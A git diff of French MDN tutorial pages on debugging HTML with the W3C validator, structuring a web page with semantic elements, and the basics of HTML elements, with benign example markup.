  6. Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble : L'inspecteur HTML dans Firefox, avec le paragraphe de l'exemple en surbrillance, montrant le texte "Quelles sont les causes d'erreurs en HTML ? Ici, vous pouvez voir que l'élément de paragraphe a été fermé par le navigateur.
    7. +
  7. Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes devraient donner le même résultat) : +
      +
    • Les éléments p et li ont été pourvus de balises fermantes.
      • +
    • L'endroit où le premier élément <strong> doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises strong, jusqu'à la fin du document !
      • +
    • L'imbrication incorrecte a été corrigée ainsi : + 
      <strong>caractères gras
+  <em>ou caractères gras et italiques ?</em>
+</strong>
+<em> qu'est ce ?</em>
      +
      • +
    • Le lien avec les guillemets manquants a été illico détruit. Le dernier élément li ressemble à ceci : + 
      <li>
+  <strong>Attributs non fermés : autre source courante de problèmes
+en HTML. Voici un exemple :</strong>
+</li>
      +
      • +
    +
    8. +
+ +

Validation d'un HTML

+ +

Comme vous pouvez le voir dans l'exemple ci-dessus, il faut s'assurer que votre HTML est bien formé ! Mais comment ? Dans un petit fichier comme celui qui précède, il est facile de chercher dans les lignes et de trouver les erreurs, mais qu'en est-il d'un document HTML énorme et complexe ?

+ +

La meilleure stratégie consiste à faire passer votre page HTML par le Markup Validation Service (Service de validation de balisage) — créé et maintenu par le W3C, l'organisation s'occupant des normes définissant le HTML, les CSS et autres technologies web. Cet outil Web accepte un document HTML en entrée, le parcourt et fait le rapport de ce qui ne va pas dans le HTML soumis.

+ +

La page d'accueil du validateur HTML

+ +

Pour définir le HTML à valider, vous pouvez donner une adresse web (Validate by URI) , téléverser un fichier HTML (Validate by File Upload) ou entrer directement du code HTML (Validate by Direct Input).

+ +

Apprentissage actif : validation d'un document HTML

+ +

Essayons cet outil avec notre document exemple.

+ +
    +
  1. D'abord, chargez le Markup Validation Service dans un des onglets du navigateur, si ce n'est déjà fait.
    2. +
  2. Basculez sur l'onglet Validate by Direct Input.
    3. +
  3. Copiez la totalité du code du document (pas uniquement l'élément body) et collez-le dans la grande zone de texte affichée dans Markup Validation Service.
    4. +
  4. Pressez le bouton Check.
    5. +
+ +

Cela vous donnera une liste d'erreurs et autres informations.

+ +

La liste des résultats de la validation de HTML par le service de validation du W3C.

+ +

Interprétation des messages d'erreur

+ +

Les messages d'erreur sont généralement utiles, mais parfois non ; avec un peu de pratique, vous trouverez comment les interpréter pour corriger votre code. Passons en revue les messages d'erreur et voyons leur signification. Chaque message est accompagné d'un numéro de ligne et de colonne pour faciliter la localisation de l'erreur.

+ +
    +
  • « End tag li implied, but there were open elements » (2 instances) : ces messages indiquent qu'un élément ouvert devrait être fermé. La balise de fermeture est implicite, mais pas réellement mise. L'information ligne/colonne pointe sur la première ligne après laquelle la balise de fermeture devrait réellement se situer, mais c'est un bon indice pour voir ce qui ne va pas.
    • +
  • « Unclosed element strong » : C'est facile à comprendre — un élément  {{htmlelement("strong")}} n'est pas fermé ; l'information ligne/colonne pointe directement dessus.
    • +
  • « End tag strong violates nesting rules » : signale des éléments incorrectement imbriqués et l'information ligne/colonne signale là où cela se trouve.
    • +
  • « End of file reached when inside an attribute value. Ignoring tag » : c'est peu clair ; la remarque se rapporte au fait qu'il y a une valeur d'attribut improprement formée quelque part, peut-être près de la fin du fichier car la fin du fichier apparaît dans la valeur de l'attribut. Le fait que le navigateur ne rende pas le lien est un bon indice pour dire que cet élément est en faute.
    • +
  • « End of file seen and there were open elements » : c'est un peu ambigu, mais se réfère au fait qu'à la base des éléments ouverts n'ont pas été proprement fermés. Les numéros de ligne pointent sur les dernières lignes du fichier et ce message d'erreur vient avec une ligne de code qui désigne un exemple d'élément ouvert : + 
    exemple: <a href="https://www.mozilla.org/>lien à la page d'accueil de Mozilla</a> ↩ </ul>↩ </body>↩</html>
    + +
    +

    Note : un attribut sans guillemet fermant peut entraîner un élément ouvert car le reste du document est interprété comme le contenu de l'attribut.

    +
    +
    • +
  • « Unclosed element ul » : n'est pas vraiment utile, car l'élément {{htmlelement("ul")}} est correctement fermé. Cette erreur ressort car l'élément {{htmlelement("a")}} n'est pas fermé en raison de l'absence de guillemet fermant.
    • +
+ +

Si vous ne comprenez pas ce que signifie chaque message d'erreur, ne vous inquiétez pas — une bonne idée consiste à corriger quelques erreurs à la fois. Puis essayez de revalider le HTML pour voir les erreurs restantes. Parfois, la correction d'une erreur en amont permet aussi d'éliminer d'autres messages d'erreur — plusieurs erreurs sont souvent causées par un même problème, avec une sorte d'effet domino.

+ +

Vous saurez que toutes vos erreurs sont corrigées quand vous verrez la bannière suivante dans la sortie :

+ +

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

+ +

Résumé

+ +

Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première.

+ +

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}

+ + + +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..e6111a4c4f --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,292 @@ +--- +title: Structure de Site Web et de document +slug: Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure +tags: + - Codage + - Disposition + - Débutant + - Guide + - HTML + - Page + - Site + - blocs + - sémantique +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML","Apprendre/HTML/Introduction_à_HTML")}}
+ 
+ +

De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant.

+ + + + + + + + + + + + +
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML. Comment fonctionnent les liens hyperlinks , comme décrit dans Création d'hyperliens.
Objectif : +

Apprendre comment structurer votre document en utilisant des balises sémantiques et comment élaborer la structure d'un site web simple.

+
+ +

Principales parties d'un document

+ +

Les pages web peuvent sembler assez différentes les unes des autres, mais elles ont toutes tendance à partager des composantes standard similaires, sauf si la page affiche une vidéo ou un jeu en plein écran, relève d'une sorte de projet artistique ou... est simplement mal structurée :

+ +
+
En‑tête (header)
+
Généralement une grande bande placée en travers au haut de la page avec un titre ou un logo. C'est là où les principales informations du site restent d'une page à l'autre.
+
Barre de navigation
+
Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés.
+
Contenu principal
+
Une grande zone au centre contenant la majeure partie du contenu unique de la dite page web, par ex. la vidéo à regarder, ou le corps de l'article à parcourir, ou la carte à lire, ou les dernières nouvelles etc. C'est la partie du site  variable de page en page.
+
Barre latérale
+
+

Quelques informations autour du sujet, liens, citations, annonces, etc. Habituellement c'est contextuel au contenu principal (par exemple sur une page d'informations, la barre latérale peut contenir la biographie de l'auteur, ou des liens vers des articles connexes) mais il y a aussi des cas où vous trouverez des éléments récurrents comme un système de navigation secondaire.

+
+
Pied de page
+
+

Une bande au bas de la page qui contient généralement, en petits caractères, des avis de droit d'auteur ou des coordonnées de contact. C'est un endroit pour mettre de l'information commune (comme l'en-tête), mais il s'agit dans ce cas d'informations non‑critiques, voire secondaires par rapport au site Web lui-même. Le pied de page est aussi parfois utilisé à des fins de {{Glossary("SEO")}}, en fournissant des liens pour un accès rapide à des contenus prisés.

+ Un « site web typique » pourrait ressembler à quelque chose comme ceci :
+
+ +

un exemple simple de structure de site Web comportant un titre principal, un menu de navigation, un contenu principal, une barre latérale et un pied de page.

+ +

HTML pour structurer un contenu

+ +

L'exemple simple affiché ci-dessus n'est pas très beau, mais il est parfaitement correct pour illustrer un exemple typique de mise en page d'un site web. Certains sites Web ont plus de colonnes, d'autres sont beaucoup plus complexes, mais vous voyez l'idée. Avec le bon CSS, vous pouvez utiliser à peu près n'importe quel élément pour envelopper les différentes sections et obtenir l'apparence que vous voulez, mais comme nous l'avons déjà dit, nous devons respecter la sémantique et utiliser le bon élément pour le bon travail.

+ +

C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ?

+ +
+

Note : Les daltoniens représentent environ 8% de la population mondiale ou, en d'autres termes, environ 1 homme sur 12 et 1 femme sur 200 sont daltoniens. Les personnes aveugles et malvoyantes représentent environ 4 à 5 % de la population mondiale (en 2012, il y avait 285 millions de personnes aveugles et malvoyantes dans le monde, alors que la population totale était d'environ 7 milliards d'habitants).

+
+ +

Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences.

+ +

Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple :

+ +
    +
  • header : {{htmlelement("header")}}.
    • +
  • barre de navigation : {{htmlelement("nav")}}.
    • +
  • contenu principal : {{htmlelement("main")}}, avec diverses sous‑sections de contenu représentées à l'aide de des éléments {{HTMLElement("article")}}, {{htmlelement("section")}} et {{htmlelement("div")}}.
    • +
  • barre latérale : {{htmlelement("aside")}} ; souvent mise à l'intérieur de l'élément {{htmlelement("main")}}.
    • +
  • pied de page : {{htmlelement("footer")}}.
    • +
+ +

Apprentissage actif : exploration du code de l'exemple

+ +

Notre exemple affiché plus haut est représenté par le code ci‑après (vous le trouverez également dans le dépôt Github). Nous aimerions que vous regardiez cet exemple et que vous recherchiez dans le listing suivant les sections constituant les diverses parties du visuel.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+
+    <title>Intitulé de ma page</title>
+    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
+    <link rel="stylesheet" href="style.css">
+
+    <!-- Les trois lignes ci‑dessous sont un correctif pour que la sémantique
+         HTML5 fonctionne correctement avec les anciennes versions de
+         Internet Explorer-->
+    <!--[if lt IE 9]>
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
+    <![endif]-->
+  </head>
+
+  <body>
+    <!-- Voici notre en‑tête principale utilisée dans toutes les pages
+         de notre site web -->
+    <header>
+      <h1>En-tête</h1>
+    </header>
+
+    <nav>
+      <ul>
+        <li><a href="#">Accueil</a></li>
+        <li><a href="#">L'équipe</a></li>
+        <li><a href="#">Projets</a></li>
+        <li><a href="#">Contact</a></li>
+      </ul>
+
+       <!-- Un formulaire de recherche est une autre façon de naviguer de
+            façon non‑linéaire dans un site. -->
+
+       <form>
+         <input type="search" name="q" placeholder="Rechercher">
+         <input type="submit" value="Lancer !">
+       </form>
+     </nav>
+
+    <!-- Ici nous mettons le contenu de la page -->
+    <main>
+
+      <!-- Il contient un article -->
+      <article>
+        <h2>En-tête d'article</h2>
+        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
+
+        <h3>Sous‑section</h3>
+        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
+        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
+
+        <h3>Autre sous‑section</h3>
+        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
+        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
+      </article>
+
+      <!-- Le contenu « à côté » peut aussi être intégré dans le contenu
+           principal -->
+      <aside>
+        <h2>En relation</h2>
+        <ul>
+          <li><a href="#">Combien j'aime être près des rivages</a></li>
+          <li><a href="#">Combien j'aime être près de la mer</a></li>
+          <li><a href="#">Bien que dans le nord de l'Angleterre</a></li>
+          <li><a href="#">Il n'arrête jamais de pleuvoir</a></li>
+          <li><a href="#">Eh bien…</a></li>
+        </ul>
+      </aside>
+
+    </main>
+
+    <!-- Et voici notre pied de page utilisé sur toutes les pages du site -->
+    <footer>
+      <p>©Copyright 2050 par personne. Tous droits reversés.</p>
+    </footer>
+
+  </body>
+</html>
+ +

Prenez le temps voulu pour regarder ce code et le comprendre — les commentaires inclus doivent également vous aider à comprendre. Il n'y a pas grand-chose d'autre à faire dans cet article, car la clé pour comprendre une mise en page de document est d'écrire une bonne structure HTML, puis de la mettre en page avec les CSS. Nous attendrons donc que vous ayez commencé à étudier la mise en page avec les CSS.

+ +

Plus de détails à propos des éléments de mise en page

+ +

La compréhension détaillée de la signification globale de tous les éléments de la mise en page HTML est importante — vous l'acquerrez au fur et à mesure avec l'expérience dans le développement web. Vous pouvez trouver beaucoup de détails en parcourant la référence aux éléments HTML. Pour l'instant, il convient de bien comprendre les principales définitions :

+ +
    +
  • {{HTMLElement('main')}} est relatif au contenu unique de la page. N'utilisez <main> que une seule fois par page et placez-le directement à l'intérieur de l'élement {{HTMLElement('body')}}. Idéalement, il ne devrait pas être imbriqué dans d'autres éléments.
    • +
  • {{HTMLElement('article')}} entoure un bloc de contenu en relation constituant en soi une unité de sens pris isolément par rapport au reste de la page (par ex. un unique billet de blog.)
    • +
  • {{HTMLElement('section')}} ressemble à <article>, mais sert plutôt à contenir une partie isolée de la page constituant un élément de fonctionnalité en soi (par ex. une petite carte ou un ensemble d'intitulés d'article ou de résumés). Il est considéré de bonne pratique de commencer chaque section par un heading ; notez également que vous pouvez fractionner un <article> en plusieurs <section> ou bien des  <section> en divers <article>, selon le contexte.
    • +
  • {{HTMLElement('aside')}} contient les composantes non directement liées au contenu principal mais pouvant fournir des informations supplémentaires indirectement en relation avec ce dernier (entrées de glossaire, biographie de l'auteur, liens connexes, etc).
    • +
  • {{HTMLElement('header')}} représente un groupe de contenus introductoires. Enfant de {{HTMLElement('body')}}, il définit l'en-tête général de la page web, mais enfant de {{HTMLElement('article')}} ou {{HTMLElement('section')}} il définit un en‑tête propre à cette section (ne confondez pas titles et headings).
    • +
  • {{HTMLElement('nav')}} contient les éléments principaux de navigation pour la page. Les liens secondaires, etc., n'entrent pas dans la navigation.
    • +
  • {{HTMLElement('footer')}} représente un groupe de contenu de fin pour une page.
    • +
+ +

Enveloppes non‑sémantiques

+ +

Parfois, vous êtes dans la situation où vous ne trouvez pas  l'élément sémantique idéal pour regrouper certaines entités ou envelopper certains contenus. D'autres fois, vous souhaitez simplement regrouper un ensemble d'éléments pour en faire une entité unique pour des {{glossary("CSS")}} ou des {{glossary("JavaScript")}}. Pour de tels cas, HTML met à votre disposition les éléments {{HTMLElement("div")}} et {{HTMLElement("span")}}}. Utilisez‑les de préférence avec un attribut {{htmlattrxref('class')}} approprié, en quelque sorte étiquetez‑les pour pouvoir les cibler plus facilement.

+ +

{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple :

+ +
<p>Le Roi retourna ivre à sa chambre à une heure, la bière ne l'aidant en rien
+alors qu'il titubait en travers de la porte <span class="editor-note">
+[Note du rédacteur : Pour cette scène, la lumière doit être faible].</span></p>
+ +

Dans ce cas, la note du rédacteur est simplement supposée fournir une indication supplémentaire pour le metteur en scène de la pièce ; elle n'est pas censée avoir une signification sémantique supplémentaire. Pour les utilisateurs malvoyants, les CSS seraient peut-être utilisés pour distancer légèrement la note du texte principal.

+ +

{{HTMLElement("div")}} est un élément de niveau bloc non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur bloc de sémantique à utiliser, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple, imaginez un widget de panier d'achat que vous pourriez choisir d'afficher à n'importe quel moment sur un site de commerce électronique :

+ +
<div class="panier">
+  <h2>Panier d'achat</h2>
+  <ul>
+    <li>
+      <p><a href=""><b>Boucles d'oreilles en argent</b></a>: €99,95.</p>
+      <img src="../products/3333-0985/thumb.png" alt="Boucles d'oreilles en argent">
+    </li>
+    <li>
+      ...
+    </li>
+  </ul>
+  <p>Total des achats : €237,89</p>
+</div>
+ +

Ce n'est pas vraiment un élément <aside> et il n'a pas forcément de relation avec l'essentiel du contenu de la page (vous le souhaitez visible de partout). Il ne justifie pas particulièrement l'utilisation d'une <section>, car il ne fait pas partie du contenu principal de la page. Donc un <div> est bien dans ce cas. Nous avons incorporé un panneau indicateur que les lecteurs d'écran puissent le signaler.

+ +
+

Avertissement : les div sont si pratiques à utiliser qu'on est tenté de les utiliser à l'excès. Comme ils ne portent aucune valeur sémantique, ils encombrent votre code HTML. Prenez soin de ne les utiliser que s'il n'y a pas de meilleure solution sémantique et essayez de réduire leur utilisation au minimum sinon vous aurez du mal à mettre à jour et à maintenir vos documents.

+
+ +

Sauts de ligne et traits horizontaux

+ +

Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître :

+ +

<br> crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple :

+ +
<p>Il y avait une fois une fille nommée Nell<br>
+Qui aimait écrire du HTML<br>
+Mais ses structures et sémantiques affligeantes<br>
+rendaient de ses marquages la lecture inélégante.</p>
+ +

Sans éléments <br>, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, HTML ignore la plupart des blancs) ; avec des <br> dans le code, voici le rendu de ce qui précède :

+ +

Il y avait une fois une fille nommée Nell
+ Qui aimait écrire du HTML
+ Mais ses structures et sémantiques affligeantes
+ rendaient de ses marquages la lecture inélégante.

+ +

Les éléments <hr> créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple :

+ +
<p>Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.</p>
+<hr>
+<p>Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.</p>
+ +

sera rendu ainsi :

+ +

Ron était acculé dans un angle par des Netherbeasts en maraude. Effrayé, mais déterminé à protéger ses amis, il a levé sa baguette et s'est préparé à se battre, espérant que son appel de détresse serait entendu.

+ +
+

Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.

+ +

Planification d'un site web simple

+ +

Une fois planifié le contenu d'une simple page Web, l'étape logique suivante est d'essayer de déterminer le contenu que vous voulez mettre sur le site Web en entier, les pages dont vous avez besoin et la façon dont elles doivent être organisées et les liens les unes vers les autres pour la meilleure expérience utilisateur possible. C'est ce qu'on appelle {{glossary("Information architecture")}} (architecture de l'information). Dans un grand site web complexe, beaucoup de planification peut entrer dans ce processus, mais pour un simple site Web de quelques pages, cela peut être assez simple et amusant !

+ +
    +
  1. Gardez à l'esprit que vous aurez quelques éléments communs à la plupart des pages (sinon à toutes) — comme le menu de navigation et le contenu du pied de page. Si votre site est destiné à une entreprise, par exemple, c'est une bonne idée d'avoir les informations de contact dans le pied de page de chaque page. Notez ce que vous voulez avoir en commun dans chaque page. les caractéristiques communes du site de voyage pour aller sur chaque page : titre et logo, contact, copyright, termes et conditions, choix de la langue, politique d'accessibilité.
    2. +
  2. Ensuite, dessinez une esquisse de ce à quoi vous voudriez que la structure de chaque page ressemble (elle pourrait ressembler à notre simple site Web ci-dessus.) Notez ce que chaque bloc va être. Un diagramme simple d'une structure d'exemple de site, avec un en-tête, une zone de contenu principal, deux barres latérales optionnelles et un pied de page.
    3. +
  3. Maintenant, faites un remue-méninges sur tous les autres contenus (qui ne sont pas communs à toutes les pages) que vous voulez avoir sur votre site Web - écrivez une grande liste. Une longue liste de toutes les fonctionnalités que nous pourrions mettre sur notre site de voyage, de la recherche, aux offres spéciales et aux informations spécifiques à chaque pays.
    4. +
  4. Ensuite, essayez de trier tous ces éléments de contenu par groupes, pour vous donner une idée des parties qui pourraient aller ensemble sur diverses pages. C'est très similaire à une technique appelée {{glossary("Card sorting","Tri de cartes")}}.Les articles qui devraient apparaître sur un site de vacances triés en 5 catégories : Recherche, spéciaux, informations spécifiques au pays, résultats de la recherche et choses à acheter.
    5. +
  5. Essayez maintenant d'esquisser un plan de site grossier — entourez d'un cercle chaque page de votre site et tracez des flèches pour montrer les flux de travail typiques entre pages. La page d'accueil sera probablement au centre et en lien vers la plupart sinon la totalité des autres ; la plupart des pages d'un petit site devraient être disponibles à partir de la navigation principale, bien qu'il y ait des exceptions. Vous voudrez peut-être aussi ajouter des notes sur la présentation des choses. Une carte du site montrant la page d'accueil, la page du pays, les résultats de recherche, la page spéciale, la page de paiement et la page d'achat.
    6. +
+ +

Apprentissage actif : créez la cartographie de votre propre site

+ +

Essayez d'effectuer l'exercice ci-dessus pour un site web de votre propre création. Sur quel sujet aimeriez-vous faire un site ?

+ +
+

Note : Enregistrez votre travail quelque part ; vous pourriez en avoir besoin plus tard.

+
+ +

Résumé

+ +

Vous devriez avoir maintenant une meilleure idée de la façon de structurer une page web ou un site web. Dans le dernier article de ce module, nous étudierons comment déboguer le HTML.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML", "Apprendre/HTML/Introduction_à_HTML")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/getting_started/index.html b/files/fr/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..7717eae9e1 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,736 @@ +--- +title: Commencer avec le HTML +slug: Apprendre/HTML/Introduction_à_HTML/Getting_started +tags: + - Attributs + - Codage + - Commentaires + - Débutant + - Elements + - Entités + - Guide + - HTML + - espace +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Cet article porte sur les fondements du HTML, pour prendre un bon départ — nous  définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour exciter votre intérêt.

+ + + + + + + + + + + + +
Prérequis :Notions sur le fonctionnement d'un ordinateur, avoir installé les logiciels de base et  savoir gérer les fichiers.
Objectif :Se familiariser avec le langage HTML et acquérir de la pratique en écrivant quelques éléments HTML.
+ +

Qu'est ce que le HTML ?

+ +

{{glossary("HTML")}} (HyperText Markup Language) n'est pas un langage de programmation : c'est un langage de balisage qui sert à indiquer au navigateur comment structurer les pages web visitées. Il peut être aussi compliqué ou aussi simple que le développeur web souhaite qu'il soit. Le HTML se compose d'une série d'{{glossary("Elément", "éléments")}} avec lesquels vous pouvez encadrer, envelopper ou baliser différentes parties du contenu pour les faire apparaître ou agir d'une certaine manière. Des {{glossary("balise", "balises")}} encadrantes peuvent transformer une petite partie de contenu en un lien vers une autre page sur le Web, mettre des mots en italique, etc. Par exemple, prenons la phrase suivante :

+ +
Mon chat est très grincheux
+ +

Si nous voulons que cette ligne reste en l'état, nous pouvons dire qu'il s'agit d'un paragraphe en l'enveloppant d'un élément paragraphe ({{htmlelement("p")}}) :

+ +
<p>Mon chat est très grincheux</p>
+ +
+

Note : Les éléments en HTML sont insensibles à la casse, c'est-à-dire qu'ils peuvent être écrits en majuscules ou en minuscules. Par exemple, un élément {{htmlelement("title")}}} peut être écrit <title>, <TITLE>, <Title>, <TiTlE>, etc. et il fonctionnera parfaitement. La meilleure pratique, cependant, est d'écrire tous les éléments en minuscules pour des raisons de cohérence, de lisibilité et autres.

+
+ +

Anatomie d'un élément HTML

+ +

Regardons notre élément paragraphe d'un peu plus près :

+ +

+ +

Les principales parties de notre élément sont :

+ +
    +
  1. La balise ouvrante : il s'agit du nom de l'élément (dans ce cas, p), encadré par un chevron ouvrant (<) et un chevron fermant (>). Elle indique où l'élément commence ou commence à prendre effet — dans ce cas où commence le paragraphe ;
    2. +
  2. La balise fermante : c'est la même que la balise ouvrante, sauf qu'elle comprend une barre oblique (/) avant le nom de l'élément. Elle indique la fin de l'élément — dans ce cas, la fin du paragraphe. Ne pas inclure une balise de fermeture est une erreur fréquente chez les débutants, et peut amener des résultats étranges ;
    3. +
  3. Le contenu : il s'agit du contenu de l'élément. Dans notre cas, c'est simplement du texte ;
    4. +
  4. L'élément : l'ensemble balise ouvrante, balise fermante et contenu constituent l'élément.
    5. +
+ +

Apprentissage actif : créer votre premier élément HTML

+ +

Modifiez la ligne ci-dessous dans la Zone de saisie en la mettant entre les balises <em> et </em> (mettez <em> avant pour ouvrir l'élément et </em> après pour fermer l'élément) — cette opération doit mettre en relief la ligne en l'écrivant en italiques. Vous devriez constater la mise à jour de la modification directement dans la Zone de rendu.

+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser avec le bouton Réinitialiser. Si vous êtes vraiment coincé, appuyez sur le bouton Voir la solution pour la réponse.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 400, "", "","hide-codepen-jsfiddle")}}

+ +

Eléments imbriqués

+ +

Vous pouvez mettre des éléments à l'intérieur d'autres éléments — cela s'appelle l'imbrication. Si vous voulez affirmer que votre chat est très grincheux, vous pouvez mettre le mot « très » dans l'élément {{htmlelement("strong")}}, pour qu'il soit fortement mis en valeur :

+ +
<p>Mon chat est <strong>très</strong> grincheux.</p>
+ +

Vous devez toutefois vous assurer que vos éléments sont correctement imbriqués : dans l'exemple ci-dessus, nous avons ouvert l'élément p en premier, puis l'élément strong, donc nous devons fermer l'élément strong d'abord, puis l'élément p. Ce qui suit est incorrect :

+ +
<p>Mon chat est <strong>très grincheux.</p></strong>
+ +

Les éléments doivent être ouverts et fermés correctement afin d'être clairement à l'intérieur ou à l'extérieur l'un de l'autre. Si les balises se chevauchent comme dans l'exemple ci-dessus, votre navigateur web essaiera de deviner ce que vous vouliez dire, et vous pourrez obtenir des résultats inattendus. Autant éviter !

+ +

Éléments bloc vs en ligne

+ +

Il existe deux catégories importantes d'éléments en HTML que vous devez connaître : les éléments de niveau bloc et les éléments en ligne.

+ +
    +
  • Les éléments de niveau bloc forment un bloc visible sur une page — ils apparaissent sur une nouvelle ligne quel que soit le contenu précédant et tout contenu qui les suit apparaît également sur une nouvelle ligne. Les éléments de niveau de bloc sont souvent des éléments structurels de la page et représentent, par exemple, des paragraphes, des listes, des menus de navigation, des pieds de page, etc. Un élément de niveau bloc ne peut pas être imbriqué dans un élément en ligne, mais il peut être imbriqué dans un autre élément de niveau bloc.
    • +
